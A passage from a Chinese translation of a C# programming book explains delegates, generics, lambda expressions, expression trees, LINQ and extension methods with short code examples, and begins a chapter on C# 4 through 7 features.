    int y = 3; // this is declared in the stack
    // Boxing y in a Heap reference z
    // If we change z, y remains the same.
    object z = y;
    // Unboxing y into h (the value of
    // z is copied to the stack)
    int h = (int)z;
    

使用反射(允许您读取组件元数据的技巧),应用程序可以调用自身或其他应用程序,创建它们包含的类的新的实例。

  • 作为简短的演示,这段简单的代码启动了另一个 WPF 应用程序的实例(一个非常简单的应用程序,只有一个按钮,但这并不重要):

    static short counter = 1;
    private void btnLaunch_Click(object sender, RoutedEventArgs e)
    {
      // Establish a reference to this window
      Type windowType = this.GetType();
      // Creates an instance of the Window
      object objWindow = Activator.CreateInstance(windowType);
      // cast to a MainWindow type
      MainWindow aWindow = (MainWindow)objWindow;
      aWindow.Title = "Reflected Window No: " + (++counter).ToString();
      aWindow.Show();
    }
    
  • 现在,每次我们点击按钮时,都会创建并启动一个新的窗口实例,这在标题窗口中指示其创建顺序:主要区别

  • 您可以通过一种名为平台调用的技术访问其他组件,这意味着您可以通过使用DllImport属性导入现有的 DLL 来调用操作系统的功能:

    • 例如,您可以使用SetParent API(它是User32.dll的一部分)将外部程序的窗口作为您自己的窗口的子窗口,或者您可以控制操作系统事件,例如在我们应用程序仍然活动时尝试关闭系统。

    • 实际上,一旦权限被授予,如果您的应用程序需要访问本地资源,它可以调用系统中的任何 DLL 中的任何函数。

    • 提供我们访问这些资源的模式看起来就像以下图中所示:主要区别

    • 如果您想尝试一些这些可能性,必须记住的资源是www.PInvoke.net,在那里您有大多数有用的系统 API,以及如何在 C#中使用它们的示例。

    • 这些互操作性能力扩展到与接受自动化(如 Microsoft Office 套件、AutoCAD 等)的应用程序的交互。

  • 最后,不安全代码允许您使用指针编写内联 C 代码,执行不安全转换,甚至固定内存以避免意外垃圾回收。然而,不安全并不意味着它是未管理的。不安全代码与安全系统紧密相连。

    • 在许多情况下,这非常有用。可能是一个难以实现的算法,或者是一个执行非常 CPU 密集的方法,以至于性能惩罚变得无法接受。

虽然所有这些都很重要,但我对 C#(以及其他.NET 语言)中的每个事件处理器都会有两个且仅有两个参数的事实感到惊讶。所以我问过 Anders,他的回答是我所听过的最清晰、最合逻辑的回答之一。

代理的真实原因

事实上,除了我们提到的这些架构考虑之外,还有一个关键的设计原因:确保.NET 程序永远不会产生BSOD(蓝屏死机)。

因此,团队科学地解决了这个问题,并对原因进行了统计分析(分析中使用了超过 70,000 个这样的屏幕)。结果显示,大约 90%的问题原因都是由于驱动程序引起的,他们唯一能做的就是认真与制造商沟通,要求他们通过硬件兼容性列表HCL)以及做其他一些事情。

注释

当前 Windows 的 HCL 页面可以在sysdev.microsoft.com/en-us/hardware/lpl/找到。

因此,他们由于自己的软件还剩下 10%的问题,但最大的惊喜是,他们并没有找到五个或十个核心原因来解释这些故障,问题主要集中在仅仅两个原因上:

  • 指向丢失的函数的指针,我在图中用p* -> f(x)表示

  • 投影问题(尝试转换传递给函数的类型;失败可能导致不可预测的结果)

结果,用简单的高斯曲线表示,看起来是这样的:

代表者的真正原因

因此,解决这两个问题,超过 95%(或更多)的问题都得到了解决。第一个目标实现了:专注于问题,并将其缩减到最大。

在这一点上,他必须找到一个可能解决这两个问题的解决方案。这就是这位丹麦人的天才所在。他回顾了这两个问题的起源,并意识到这两个案例都与方法调用有关。给定一个转折和一个回归,重新思考通用信息论的基础,以识别理论模型中的具体问题(任何关于这个主题的书的首页),我们会发现像这个图所示的东西:

代表者的真正原因

但是,等等!...这同样是事件系统的核心架构!因此,在四个元素隐含的两个方案之间存在着对应关系:

  • 发行者:这是发起调用的方法

  • 接收者:另一个类(或相同的)在另一个方法中做出响应

  • 信道:这是环境,在.NET 中由托管环境替代

  • 消息:发送给接收者的信息

现在,第二个问题已经解决了:目标模型的模型被识别为信息论一般模式的案例,以及它的部分:信道和期望接收的信息。

缺少了什么?计算机科学中一直用来解决直接调用问题的是什么?那将是调用一个中介。或者如果你愿意,应用 SOLID 设计原则的第五条:依赖倒置。

注释

当我们在第十章、设计模式中详细讨论依赖倒置时,我们将更详细地讨论依赖倒置,但到目前为止,只需简单地说一下原则的内容(简而言之):模块不应该依赖于低级模块或细节,而应该依赖于抽象。

这就是导致这个解决方案的因素:委托。调用永远不会直接进行,而是总是通过委托进行,由 CLR 管理,并且不会尝试调用不可用的东西(记住,它是受管理的)。通过通道(以及当然消除函数指针)解决了函数指针问题。

如果你查看解释这个原则的官方(维基百科)文章(en.wikipedia.org/wiki/Dependency_inversion_principle),你会发现模式推荐解决方案是从场景 1(图左侧)转换为场景 2(图右侧),其中建议被调用的方法(在对象 B 中)继承(实现)一个接口,以确保调用没有风险:

委托的真实原因

正如 Hejlsberg 所说,第二个原因的解决方案“一旦转换过来,似乎很简单”。他只需要让委托的签名与接收方法相同(记住,参数类型和返回值相同),然后就可以告别类型转换的问题,因为 CLR 是强类型的,编译器(甚至 IDE)会标记任何违反此原则的行为,表明它不会编译。

这种架构避免了由这些原因引起的 BSOD 问题。我们能看看这个结构在代码中的样子吗?当然可以。实际上,我非常确信你经常看到它,只是可能不是从这个角度。

让我们回到之前使用反射窗口的案例。现在我们来确定主要角色。发射器显然是bntLaunch按钮成员,接收器是之前的代码:

void btnLaunch_Click(object sender, RoutedEventArgs e)

所以,当我们看到点击事件处理方法的定义时,我们也看到了场景 2 的两个成员:发送者(发射器)和传递的信息(RoutedEventArgs类的实例)。

记住,负责调用的委托应该与这个方法中的签名相同。只需右键单击方法名称,搜索所有引用,你就可以找到方法与委托之间建立连接的地方(通常是这种语法):

this.btnLaunch.Click += new System.Windows.RoutedEventHandler(this.btnLaunch_Click);

所以,btnLaunch的点击成员通过一个类型为RoutedEventHandler的新委托实例连接到btnLaunch_Click方法。再次点击RoutedEventHandler并选择转到定义,以便查看委托的签名:

public delegate void RoutedEventHandler(object sender, RoutedEventArgs e);

哇,签名与接收器完全相同。不再有类型转换问题,如果 CLR 完成其工作,除非接收方法不可访问,否则不会进行调用。这是因为只有内核级组件才能导致 BSOD,永远不会是用户模式组件。

因此,委托是一个非常特殊的类,可以在任何其他类的内部或外部声明,并且具有将任何方法作为目标的能力,只要它们的签名兼容。+=语法也告诉我们一些重要的事情:它们是多播的。也就是说,它们可以在单个调用中针对多个方法。

让我们把这个问题放在一个场景中,我们需要评估哪些数字可以被另一个数字序列整除。简单来说,让我们从两个方法开始,分别检查能否被 2 和 3 整除:

static List<int> numberList;
static List<int> divisibleNumbers = new List<int>();
private void CheckMod2(int x)
{
  if (x % 2 == 0) divisibleNumbers.Add(x);
}
private void CheckMod3(int x)
{
  if (x % 3 == 0) divisibleNumbers.Add(x);
}

现在,我们想要评估列表并填充一个包含符合规则数字的 Listbox:

delegate void DivisibleBy(int number);
private void ClassicDelegateMethod()
{
  DivisibleBy ed = new DivisibleBy(CheckMod2);
  // Invocation of several methods (Multicasting)
  ed += CheckMod3;
  // Every call to ed generates a multicast sequence
  foreach (int x in numberList) { ed(x); }
}

我们声明了一个委托,DivisibleBy,它接收一个数字并执行一个操作(稍后我们会发现这个名字被改成了Action)。因此,同一个委托可以按顺序调用两个方法(请注意,这可能会使序列变得相当长)。

委托是通过另一个按钮调用的,当点击该按钮时,将调用以下代码:

// Generic delegate way
numberList = Enumerable.Range(1, 100).ToList();
ClassicDelegateMethod();
PrintResults("Numbers divisible by 2 and 3");

这里,我们没有包括PrintResults的实现,您可以想象它,它也包含在Chapter02_02演示中。预期的结果如下:

委托的真实原因

2.0 和 3.0 版本的演变

如我们所见,从一开始,Hejlsberg 的团队就从一个完整、灵活和现代的平台开始,能够以许多方式扩展,以适应技术的发展。从 2.0 版本开始,这种意图变得清晰。

语言中发生的第一个实际的基本变化是泛型的引入。Don Syme,后来领导了创建 F#语言的团队,非常活跃,并领导了这个团队,因此它为.NET Framework 2.0 版本做好了准备(不仅是在 C#中,在 C++和 VB.NET 中也是如此)。

泛型

泛型的主要目的是为了便于创建更多可重用的代码(顺便说一句,这是面向对象编程的一个原则)。这个名字指的是一组语言特性,允许类、结构、接口、方法和委托使用未指定或泛型类型参数而不是特定类型进行声明和定义(有关详细信息,请参阅msdn.microsoft.com/en-us/library/ms379564(v=vs.80).aspx)。

因此,您可以在一种抽象定义中定义成员,稍后在使用时,将应用一个真实、具体的类型。

基本的.NET 类(BCL)在System命名空间中得到了增强,并创建了一个新的System.Collections.Generic命名空间来深入支持这个新特性。此外,还添加了新的支持方法来简化新类型的使用,例如Type.IsGenericType(显然,用于检查类型)、Type.GetGenericArguments(自解释)和非常有用的Type.MakeGenericType,它可以从先前的非指定声明中创建任何类型的泛型类型。

以下代码使用字典的泛型类型定义(Dictionary<,>)并使用此技术创建实际(构建)类型。相关代码如下(其余代码,包括输出到控制台的内容,包含在 Demo_02_03 中):

// Define a generic Dictionary (the
// comma is enough for the compiler to infer number of
// parameters, but we didn't decide the types yet.
Type generic = typeof(Dictionary<,>);
ShowTypeData(generic);

// We define an array of types for the Dictionary (Key, Value)
// Key is of type string, and Value is of -this- type (Program)
// Notice that types could be -in this case- of any kind
Type[] typeArgs = { typeof(string), typeof(Program) };

// Now we use MakeGenericType to create a Type representing
// the actualType generic type.
Type actualType = generic.MakeGenericType(typeArgs);
ShowTypeData(actualType);

正如你所见,MakeGenericType 期望一个(具体)类型的数组。稍后(不在前面的代码中),我们使用 GetGenericTypeDefinitionIsGenericTypeGetGenericArguments 来内省生成的类型,并在控制台输出以下内容:

泛型

因此,就代码中的操作而言,我们有不同的方式声明泛型,并得到相同的结果。

显然,操作已经构建的泛型类型并不是唯一的选择,因为泛型的主要目标之一是通过简化集合的工作来避免类型转换操作。直到版本 2.0,集合只能存储基本类型:整数、长整型、字符串等,以及模拟不同的数据结构,如栈、队列、链表等。

此外,泛型还有另一个很大的优点:你可以编写支持处理不同类型参数(和返回值)的方法,只要你提供正确处理所有可能情况的方法。

一次又一次,契约的概念在这里将至关重要。

创建自定义泛型类型和方法

另一个有用的特性是使用自定义泛型类型。泛型类型和通过 System.Nullable<T> 类型支持可选值的特性,对于许多开发者来说,是语言 2.0 版本中包含的两个最重要的特性。

假设你有一个 Customer 类,你的应用程序管理它。因此,在不同的用例中,你将读取客户集合并对其执行操作。现在,如果你需要像 Compare_Customers 这样的操作怎么办?在这种情况下,你会使用什么标准?更糟糕的是,如果我们想使用相同的标准来处理不同类型的实体,如 CustomerProvider 呢?

在这些情况下,泛型的一些特性非常有用。首先,我们可以构建一个实现了 IComparer 接口的类,这样我们就可以确定无疑地知道用于考虑客户 C1 是大于还是小于客户 C2 的标准。

例如,如果标准仅是 Balance,我们可以从一个基本的 Customer 类开始,向其中添加一个静态方法来生成随机客户列表:

public class Customer
{
  public string Name { get; set; }
  public string Country { get; set; }
  public int Balance { get; set; }
  public static string[] Countries = { "US", "UK", "India", "Canada", 	    "China" };
  public static List<Customer> customersList(int number)
  {
    List<Customer> list = new List<Customer>();
    Random rnd = new Random(System.DateTime.Now.Millisecond);
    for (int i = 1; i <= number; i++)
    {
      Customer c = new Customer();
      c.Name = Path.GetRandomFileName().Replace(".", "");
      c.Country = Countries[rnd.Next(0, 4)];
      c.Balance = rnd.Next(0, 100000);
      list.Add(c);
    }
    return list;
  }
}

然后,我们构建另一个 CustomerComparer 类,它实现了 IComparer 接口。区别在于这个比较方法是一个针对 Customer 对象的泛型实例化,因此我们可以自由地以对我们逻辑方便的方式实现这个场景。

在这种情况下,我们使用 Balance 作为排序标准,所以我们会得到以下内容:

public class CustomerComparer : IComparer<Customer>
{
  public int Compare(Customer x, Customer y)
  {
    // Implementation of IComparer returns an int
    // indicating if object x is less than, equal to or
    // greater than y.
    if (x.Balance < y.Balance) { return -1; }
    else if (x.Balance > y.Balance) return 1;
    else { return 0; } // they're equal
  }
}

我们可以看到,用于比较的标准正是我们为业务逻辑所决定的。最后,另一个类GenericCustomer,它实现了应用程序的入口点,以这种方式使用这两个类:

public class GenericCustomers
{
  public static void Main()
  {
    List<Customer> theList = Customer.customersList(25);
    CustomerComparer cc = new CustomerComparer();
    // Sort now uses our own definition of comparison
    theList.Sort(cc);
    Console.WriteLine(" List of customers ordered by Balance");
    Console.WriteLine(" " + string.Concat(Enumerable.Repeat("-", 36)));
    foreach (var item in theList)
    {
      Console.WriteLine(" Name: {0},  Country: {1}, \t Balance: {2}",
      item.Name, item.Country, item.Balance);
    }
    Console.ReadKey();
  }
}

这将产生一个按余额排序的随机客户列表输出:

创建自定义泛型类型和方法

这甚至更好:我们可以修改方法,使其能够无差别地支持客户和供应商。为此,我们需要抽象出这两个实体共有的一个属性,我们可以用它来进行比较。

如果我们的Provider实现有不同的或相似的字段(但它们并不相同),只要我们有这个共同因素:一个Balance字段,那就没关系。

因此,我们首先对这个共同因素给出一个简单的定义,一个名为IPersonBalance的接口:

public interface IPersonBalance
{
  int Balance { get; set; }
}

只要我们的Provider类实现了这个接口,我们就可以后来创建一个能够比较两个对象的通用方法,所以,让我们假设我们的Provider类看起来像这样:

public class Provider : IPersonBalance
{
  public string ProviderName { get; set; }
  public string ShipCountry { get; set; }
  public int Balance { get; set; }

  public static string[] Countries = { "US", "Spain", "India", "France", "Italy" };
  public static List<Provider> providersList(int number)
  {
    List<Provider> list = new List<Provider>();
    Random rnd = new Random(System.DateTime.Now.Millisecond);
    for (int i = 1; i <= number; i++)
    {
      Provider p = new Provider();
      p.ProviderName = Path.GetRandomFileName().Replace(".", "");
      p.ShipCountry = Countries[rnd.Next(0, 4)];
      p.Balance = rnd.Next(0, 100000);
      list.Add(p);
    }
    return list;
  }
}

现在,我们将Comparer方法重写为GenericComparer类,使其能够处理这两种类型的实体:

public class GenericComparer : IComparer<IPersonBalance>
{
  public int Compare(IPersonBalance x, IPersonBalance y)
  {
    if (x.Balance < y.Balance) { return -1; }
    else if (x.Balance > y.Balance) return 1;
    else { return 0; }
  }
}

注意,在这个实现中,IComparer依赖于一个接口,而不是一个实际的类,并且这个接口仅仅定义了这些实体的共同因素。

现在,我们的新入口点将把所有内容组合起来,以获得一个使用刚刚创建的通用比较方法的有序Provider类列表:

public static void Main()
{
  List<Provider> providerList = Provider.providersList(25);
  GenericComparer gc = new GenericComparer();
  // Sort now uses our own definition of comparison
  providerList.Sort(gc);
  Console.WriteLine(" List of providers ordered by Balance");
  Console.WriteLine(" " + ("").PadRight(36, '-'));
  foreach (var item in providerList)
  {
    Console.WriteLine(" ProviderName: {0}, S.Country: {1}, \t Balance: {2}",
    item.ProviderName, item.ShipCountry, item.Balance);
  }
  Console.ReadKey();
}

以这种方式,我们得到一个如图所示的输出(注意,我们没有过多关注格式,以便专注于过程):

创建自定义泛型类型和方法

这个例子展示了泛型(以及接口:也是泛型)是如何在这些情况下拯救我们的,而且——当我们有机会在讨论设计模式的实现时证明这一点——这是促进良好实践的关键。

到目前为止,泛型背后的某些最关键的概念已经被讨论过了。在接下来的章节中,我们将看到与泛型相关的其他方面是如何出现的。然而,真正的力量来自于将这些能力与语言的两个新特性相结合:lambda 表达式和 LINQ 语法。

Lambda 表达式和匿名类型

让我们简要回顾一下当我们通过调用new运算符创建一个新的匿名类型时会发生什么,然后描述一下这个对象:

// Anonymous object
var obj = new { Name = "John", Age = 35 };

编译器正确地推断出未声明的类型为匿名类型。实际上,如果我们使用前一章中提到的反汇编工具,我们会发现编译器是如何为这个类分配默认名称的(f_AnonymousType02``):

Lambda 表达式和匿名类型

此外,我们还可以看到,已经创建了一个特殊的构造函数以及两个私有字段和两个访问方法(get_Ageget_Name)。

这类对象特别适合当我们处理来自任何来源的数据时,并且我们垂直地(即,我们不需要所有字段,只需几个,或者甚至一个)过滤信息。

来自此类查询的结果对象在我们的代码中任何地方都没有预先定义,因为每个不同的查询都需要一个定制的定义。

Lambda 表达式

考虑到这一点,lambda 表达式只是一个匿名函数,它以不同的语法表达,允许你以类似于函数式编程语言(如 JavaScript)的风格将此类函数作为参数传递。

在 C# 3.0 中,lambda 表达式以简化的语法出现,使用 lambda 运算符(=>)。此运算符将定义的函数分为两部分:左边的参数和右边的主体;例如,看看这个:

( [list of arguments] ) => { [list of sentences] }

这允许某些变化,例如在参数列表中省略括号以及在主体中省略花括号,只要编译器能够推断出细节、涉及的类型等。

由于前面的声明是委托的定义,我们可以将其分配给任何委托变量,因此我们可以以一种更整洁的方式表达在查找 3 或 7 的倍数时使用的条件:

DivisibleBy3Or7 ed3 = x => ((x % 3 == 0) || (x % 7 == 0));

即,变量ed3被分配了一个 lambda 表达式,它接收一个元素(在这种情况下是一个int)并评估主体函数,该函数计算与我们之前所做的相同的数字。请注意,主体函数没有用花括号括起来,因为定义对编译器来说足够清晰。

因此,以这种方式操作,我们无需声明单独的方法,甚至可以将这些表达式之一作为参数传递给接受它的方法,就像许多泛型集合所做的那样。

在这一点上,我们开始看到当与泛型集合结合使用时的所有这些功能的强大之处。从.NET 框架的 3.0 版本开始,泛型集合包含了一组接受 lambda 表达式作为参数的方法。

这一切都关乎签名

然而,.NET 框架团队走得更深。如果你抽象出任何委托背后的可能签名,你可以根据返回值将它们分为三个块:

  • 没有返回值的委托(称为操作,使用Action关键字定义)

  • 返回布尔值的委托(现在称为谓词,如在逻辑中,但使用Func关键字定义)

  • 其余的委托,返回任何类型(也使用Func关键字定义)

因此,这三个保留字成为了 C#语法的组成部分,我们在集合中找到的所有泛型方法都会要求我们提供这三种类型的委托之一。简单地在 Visual Studio 中查看这些之一,就会显示这种情况:

这关乎签名

屏幕截图显示了Where<T>方法的定义。只需想想:这个想法是允许我们以类似于 SQL 语法中where子句的方式过滤集合数据。我们在where子句中表达的是一个布尔条件,就像在数学逻辑中,谓词是一个总是评估为truefalse的断言。

例如,我们可以直接使用numberList重写之前的场景,如下所示:

// Method Where in generic lists
numberList = numberList.Where(x => ((x % 3 == 0) || (x % 7 == 0))) .ToList();

以更少的管道获得相同的结果,因此我们可以更多地关注要解决的问题,而不是所需的算法。

由于与它们相关的生产力,许多更多的方法被添加,并且立即被程序员社区接受。对于没有返回值的情况,代码体应该作用于方法外部的东西。在我们的例子中,这可能像是在所选值的列表中添加一个数字。

以这种方式,我们可以处理更复杂的情况,例如,我们需要计算以某个数字开头的两个数的乘积的情况,如下面的代码所示:

// We can create a more complex function including
// any number of conditions
Action<int> MultipleConditions = n =>
{
  if ((n % 3 == 0) && (n % 2 == 0))
  {
    if (n.ToString().StartsWith("5")) {
      selectedNumbers.Add(n);
    }
  }
};
numberList.ForEach(MultipleConditions);

在这个变体中,我们使用ForEach方法,它接收一个Action委托参数,正如我们可以在 IDE 的编辑器提供的工具提示定义中看到的那样:

关于签名的全部内容

这些句子如何翻译成实际的代码?对于好奇的读者来说,看看由这段代码产生的 MSIL 代码可能会有些惊讶。即使是一个简单的 lambda 表达式也可能比事先想象的要复杂。

让我们看看我们之前使用的x => x % 3 == 0 lambda 表达式的语法。这里的技巧是(在内部)这被转换为一个树表达式,如果你将这个表达式赋值给一个类型为Expression<TDelegate>的变量,编译器会生成代码来构建表示该 lambda 表达式的表达式树。

因此,考虑使用Expression对象以替代语法表达 lambda,如下面的代码所示:

Expression<Func<int, bool>> DivBy3 = x => (x % 3) == 0;

一旦编译完成,你可以检查反汇编代码,并在以下屏幕截图(只是内部内容的片段)中找到 MSIL 代码中的等效部分:

关于签名的全部内容

如果我们将这些表达式中之一转换为它的各个部分,这种等价性就会变得更加明显。官方 MSDN 文档通过比较使用表达式构建的简单 lambda 与其生成的部分来给我们提供线索。因此,他们首先说类似这样的话:

// Lambda defined as an expression tree.
Expression<Func<int, bool>> xTree = num => num > 3 ;

这接着是分解这个表达式树:

// Decompose the expression tree.
ParameterExpression param = (ParameterExpression)exprTree.Parameters[0];
BinaryExpression operation = (BinaryExpression)exprTree.Body;
ParameterExpression left = (ParameterExpression)operation.Left;
ConstantExpression right = (ConstantExpression)operation.Right;
// And print the results, just to check.
Console.WriteLine("Expression: {0} => {1} {2} {3}",
  param.Name, left.Name, operation.NodeType, right.Value);

好吧,这种分解的结果如下:

关于签名的全部内容

这与 lambda 表达式等价,但现在我们可以看到,在内部,操作树的各个部分与缩短的 lambda 表达式等价。

LINQ 语法

所有这些的目标,除了使处理集合的方式更简单之外,就是便于数据管理。这意味着从源读取信息并将其转换为所需类型的对象集合,多亏了这些泛型集合。

然而,如果我想用类似 SQL 查询的语法表达一个查询怎么办?或者,简单地说,如果查询的复杂性使得用迄今为止指示的泛型方法表达它变得困难怎么办?

解决方案以新的语法的形式出现,这种语法是 C#(和其他.NET 语言)特有的,称为LINQ语言集成查询)。官方定义将这个扩展描述为在 Visual Studio 2008 中引入的一组功能,它将强大的查询能力扩展到 C#的语言语法中。具体来说,作者强调这个特性是一种以 LINQ 提供程序集的形式出现,它使得可以在.NET Framework 集合、SQL Server 数据库、ADO.NET 数据集和 XML 文档中使用 LINQ

因此,我们得到了一种新的类似 SQL 的语法,可以生成任何类型的查询,这样相同的句子结构对非常不同的数据源都是有效的。

记得之前,数据查询必须以字符串的形式表达,编译时没有类型检查或任何类型的智能感知支持,并且必须根据数据源的类型学习不同的查询语言:SQL 数据库、XML 文档、Web 服务等等。

LINQ 语法基于 SQL 语言

在这种情况下,正如 Hejlsberg 多次提到的,如果他们想要提供任何类型的智能感知,他们必须改变子句的顺序,因此这种类型的查询采用以下形式:

var query = from [element] in [collection]
where [condition1 | condition2 ...]
select [new] [element];

以这种方式,一旦用户指定了源(一个集合),Visual Studio 就能为您提供剩余句子的智能感知。例如,为了从一个数字列表中选择几个数字,例如在之前的例子中使用的那些,我们可以编写以下代码:

// generate a few numbers
var numbers = Enumerable.Range(50, 200);
// use of linq to filter
var selected = from n in numbers
  where n % 3 == 0 && n % 7 == 0
  select n;
Console.WriteLine("Numbers divisible by 3 and 7 \n\r");
// Now we use a lambda (Action) to print out results
selected.ToList().ForEach(n => Console.WriteLine("Selected: {0} ", n));

注意,我们使用了&&运算符来连接两个条件(我们稍后会进一步讨论这一点),并且在使用 LINQ 语法与 lambda 表达式结合时没有问题。此外,建议您以更合适、更易读、更易于维护的方式表达查询。当然,输出仍然是预期的:

LINQ 语法基于 SQL 语言

对于集合的唯一条件是它应该支持IEnumerable或泛型的IEnumerable<T>接口(或任何从它继承的接口)。

如您所预期的那样,通常,集合只是之前从数据库表查询得到的一个业务逻辑对象集合。

延迟执行

然而,有一个非常重要的要点需要记住:LINQ 语法本身使用一种称为 延迟执行懒加载 的模型。这意味着查询不会执行,直到需要第一份数据的其他句子。

无论如何,我们可以通过将结果集合转换为具体集合来强制执行,例如,通过调用 ToList() 方法或要求与集合实际使用相关的其他数据,例如计算返回的行数。

这是我们可以通过将 LINQ 查询括起来并应用所需操作(注意返回的值会自动转换为适当的类型)来完成的,如下面的截图所示:

延迟执行

以类似的方式,我们可以使用 ad-hoc 子句以升序(默认)或降序对结果集合进行排序:

var totalNumbers = (from n in numbers
  where n % 3 == 0 && n % 7 == 0
  orderby n descending
  select n).Count();

加入和分组集合

与我们模仿 SQL 语法进行其他查询的方式相同,我们可以使用 SQL 语言的其它高级功能,例如对多个集合进行分组和连接。

对于第一种情况(分组),语法相当简单。我们只需使用这种方式通过 group / by / into 子句来指示分组因素:

string[] words = { "Packt", "Publishing", "Editorial", "Books", "CSharp", "Chapter" };
var wordsGrouped = from w in words
group w by w[0] into groupOfWords
select new { FirstLetter = groupOfWords.Key, Words = groupOfWords };
Console.WriteLine(" List of words grouped by starting letter\n\r");
foreach (var indGroup in wordsGrouped)
{
  Console.WriteLine(" Starting with letter '{0}':", indGroup.FirstLetter);
  foreach (var word in indGroup.Words)
  {
    Console.WriteLine(" " + word);
  }
}

注意,我们使用嵌套循环来打印结果(一个用于单词组,另一个用于单词本身)。前面的代码生成了以下输出:

加入和分组集合

对于连接的情况,我们使用 join 子句以及 equalsasis 操作符来表达连接的条件。

一个简单的例子可以是连接两个不同的数字集合以寻找任何类型的公共元素。每个集合都会表达一个独特的条件,连接将建立公共因子。

例如,从我们选定的数字(能被 3 和 7 整除)开始,让我们添加另一个以 7 开头的子集:

var numbersStartingBy7 = from n in numbers
where n.ToString().StartsWith("7")
select n;

现在,我们有两组不同的子集,它们有不同的条件。我们可以找出它们中哪一个满足这两个条件,通过在两个子集之间进行连接来表达要求:

var doubleMultiplesBeg7 = from n in selected
join n7 in numbersStartingBy7
on n equals n7
select n;

我们找到了总共五个以 7 开头的数字,它们既是 3 的倍数也是 7 的倍数,如下面的截图所示:

加入和分组集合

类型投影

另一个选项(一个非常有趣的选项)是将所需的输出投影到匿名类型(不存在)的能力,这是选择的结果或包括创建另一个计算字段。

我们通过在 LINQ 查询的 select 声明中创建匿名输出类型来执行此操作,具有以我们想要的方式命名所需结果的能力(就像我们创建另一个匿名类型时一样)。例如,如果我们需要另一个列来指示结果数字的偶数或奇数字符,我们可以在之前的查询中添加以下表达式,如下所示:

var proj = from n in selected
join n7 in numbersStartingBy7 on n equals n7
select new { Num = n, DivBy2 = (n % 2 == 0) ? "Even" : "Odd" };

select 子句之后是一个匿名类型,由两个字段组成,NumDivBy2,使用简单的 ? 操作符表达式,检查整数除以 2,这与我们之前所做的方式相同。结果看起来就像以下输出所示:

类型投影

除了这些辅助操作之外,LINQ 语法在处理数据库时特别有用。只需将源集合视为通过查询有效数据源获得的返回值,在所有情况下,这些数据源都将实现 IEnumerable 和/或 IQueryable 接口,例如,当我们使用 Entity Framework 访问真实数据库引擎时就会发生这种情况。

我们将在接下来的章节中介绍数据库访问,所以请记住当我们查询真实数据时将应用此方法。

扩展方法

最后,我们可以扩展现有类的功能。这意味着甚至可以扩展 .NET 框架的基类型,如 intString。这是一个非常有用的功能,并且按照文档中推荐的方式执行;没有违反 OOP 的基本原理。

这个过程相当简单。我们需要创建一个新的公共静态顶级(非嵌套)类,其中包含一个公共静态方法,具有一个特别适合编译器假设编译后的代码将被附加到类型的实际功能上的初始参数声明。

这个过程可以与任何类一起使用,无论是属于 .NET 框架还是自定义用户或类。

一旦有了声明,其使用方法相当简单,如下所示:

public static class StringExtension
{
  public static string ExtendedString(this string s)
  {
    return "{{ " + s + " }}";
  }
}

注意,第一个参数,使用 this 关键字引用,指的是将要使用的字符串;因此,在这个例子中,我们将不带任何额外参数调用该方法(尽管我们可以传递我们需要的任何数量的参数用于其他扩展)。为了使其发挥作用,我们只需添加如下内容:

Console.WriteLine("The word " + "evaluate".ExtendedString() + " is extended");

我们将得到包含在双括号中的扩展输出:

扩展方法

摘要

在本章中,我们看到了在版本 2 和 3 中对 C# 语言所做的最相关的增强。

我们首先回顾了 C# 与其他语言之间的主要区别,并理解了强类型化的含义,在这种情况下,与静态和动态的概念一起。

然后,我们解释了创建委托概念背后的主要原因——在 .NET 中绝对至关重要,其起源是由非常严肃和稳固的架构原因所激发的。我们还回顾了在几个常见的编程场景中 .NET 的使用。

我们随后对框架版本 2.0 中出现的泛型功能进行了检查,并分析了几个示例来展示一些典型的用例,包括创建自定义泛型方法。

从泛型到 Lambda 表达式,后者出现在后续版本中,它允许我们通过传递以非常优雅的语法表达的匿名方法来简化对泛型方法的调用。

最后,我们介绍了 LINQ 语法,它允许以类似于您所熟知和使用的 SQL 语法的方式对集合执行复杂查询。

我们以一个简单的扩展方法结束,这个方法展示了如何使用现有功能来扩展其默认方法,以满足我们的编程需求,同时不影响原始定义。

在下一章中,我们将探讨框架最近版本(4、4.5 和 4.6)中出现的新功能和增强,包括动态定义、改进的逻辑表达式、新运算符等。

第三章:C#和.NET 的高级概念

我们已经看到了 C#语言在早期版本(2.0 和 3.0)中的演变,包括泛型、lambda 表达式、LINQ 语法等重要特性。

从 4.0 版本开始,一些常见且有用的实践被引入到语言(和框架库)中,特别是与同步性、执行线程、并行性和动态编程相关的一切。最后,尽管 6.0 和 7.0 版本没有包含颠覆性的改进,但我们仍然可以发现许多旨在简化我们编写代码方式的新的方面。

在本章中,我们将涵盖以下主题:

  • C# 4 的新特性:协变和逆协变、元组、延迟初始化、动态编程、Task对象和异步调用。

  • 异步/await 结构(属于 C# 5)。

  • C# 6.0 的新特性:字符串插值、异常过滤器、NameOf运算符、空条件运算符、自动属性初始化器、静态 using、表达式主体方法和索引初始化器。

  • C# 7.0 的新特性:二进制字面量、数字分隔符、局部函数、类型切换、引用返回、元组、Out var、模式匹配、任意异步返回和记录。

C# 4 和.NET 框架 4.0

随着 Visual Studio 2010 的发布,框架的新版本出现了,尽管那是它们最后一次对齐(截至目前)。C# 5.0 与 Visual Studio 2012 和.NET 框架 4.5 相关联,C# 6 在 Visual Studio 2015 中出现,并与.NET 框架的新(不是很大)审查相关:4.6。C# 7 的情况也是如此,尽管它与 Visual Studio 2017 对齐。

为了澄清问题,我包括了一个表格,展示了语言及其框架的整个演变过程,包括主要特性和相应的 Visual Studio 版本:

C#版本 .NET 版本 Visual Studio 主要特性
C# 1.0 .NET 1.0 V. S. 2002 初始版本
C# 1.2 .NET 1.1 V. S. 2003 小特性和修复。
C# 2.0 .NET 2.0 V. S. 2005 泛型、匿名方法、可空类型、迭代器块。
C# 3.0 .NET 3.5 V. S. 2008 匿名类型、var 声明(隐式类型)、lambda 表达式、扩展方法、LINQ、表达式树。
C# 4.0 .NET 4.0 V. S. 2010 委托和接口泛型方差、动态声明、参数改进、元组、对象的延迟实例化。
C# 5.0 .NET 4.5 V. S. 2012 异步编程的 Async/await 和一些其他小改动。
C# 6.0 .NET 4.6 V. S. 2015 Roslyn 服务以及一系列语法简化特性。
C# 7.0 .NET 4.6 V. S. 2017 语法糖,对元组的扩展支持,模式匹配和一些小特性。

表 1:C#、.NET 和 Visual Studio 版本的对齐

因此,让我们从委托和接口泛型方差开始,通常称为协变和逆协变。

协变和逆协变

随着越来越多的开发者采用了第二章中展示的先前技术,新的需求出现了,需要新的机制来提供灵活性。正是在这里,一些已经众所周知的原则将适用(有关于编译器和作者的理論和实际方法,例如 Bertrand Meyer)。

注意

